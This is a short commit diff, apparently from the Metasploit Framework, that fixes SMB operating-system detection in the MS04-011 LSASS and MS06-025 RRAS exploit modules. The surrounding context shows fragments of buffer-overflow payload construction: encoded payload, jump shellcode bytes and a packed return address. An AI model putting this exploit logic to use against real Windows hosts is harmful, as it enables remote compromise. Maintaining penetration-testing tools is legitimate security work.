Bug fixes to SMB OS detection
git-svn-id: file:///home/svn/framework3/trunk@4084 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
4281e18e45
commit
b4742a1252
|
@ -84,7 +84,7 @@ class Exploits::Windows::Smb::MS04_011_LSASS < Msf::Exploit::Remote
|
||||||
print_status('Getting OS information...')
|
print_status('Getting OS information...')
|
||||||
|
|
||||||
# Check the remote OS name and version
|
# Check the remote OS name and version
|
||||||
os = smb_peer_lm
|
os = smb_peer_os
|
||||||
string = ''
|
string = ''
|
||||||
case os
|
case os
|
||||||
# Windows 2000 requires that the string be unicode formatted
|
# Windows 2000 requires that the string be unicode formatted
|
||||||
|
|
|
@ -78,11 +78,11 @@ class Exploits::Windows::Smb::MS06_025_RRAS < Msf::Exploit::Remote
|
||||||
print_status('Getting OS...')
|
print_status('Getting OS...')
|
||||||
|
|
||||||
# Check the remote OS name and version
|
# Check the remote OS name and version
|
||||||
os = smb_peer_lm
|
os = smb_peer_os
|
||||||
pat = ''
|
pat = ''
|
||||||
|
|
||||||
case os
|
case os
|
||||||
when /2000/
|
when /Windows 5\.0/
|
||||||
pat =
|
pat =
|
||||||
payload.encoded +
|
payload.encoded +
|
||||||
"\xeb\x06" +
|
"\xeb\x06" +
|
||||||
|
@ -90,7 +90,7 @@ class Exploits::Windows::Smb::MS06_025_RRAS < Msf::Exploit::Remote
|
||||||
[target.ret].pack('V') +
|
[target.ret].pack('V') +
|
||||||
"\xe9\xb7\xfb\xff\xff"
|
"\xe9\xb7\xfb\xff\xff"
|
||||||
os = 'Windows 2000'
|
os = 'Windows 2000'
|
||||||
when /XP/
|
when /Windows 5\.1/
|
||||||
pat =
|
pat =
|
||||||
Rex::Text.rand_text_alphanumeric(0x4c) +
|
Rex::Text.rand_text_alphanumeric(0x4c) +
|
||||||
"\xeb\x06" +
|
"\xeb\x06" +
|
||||||
|
|
Loading…
Reference in New Issue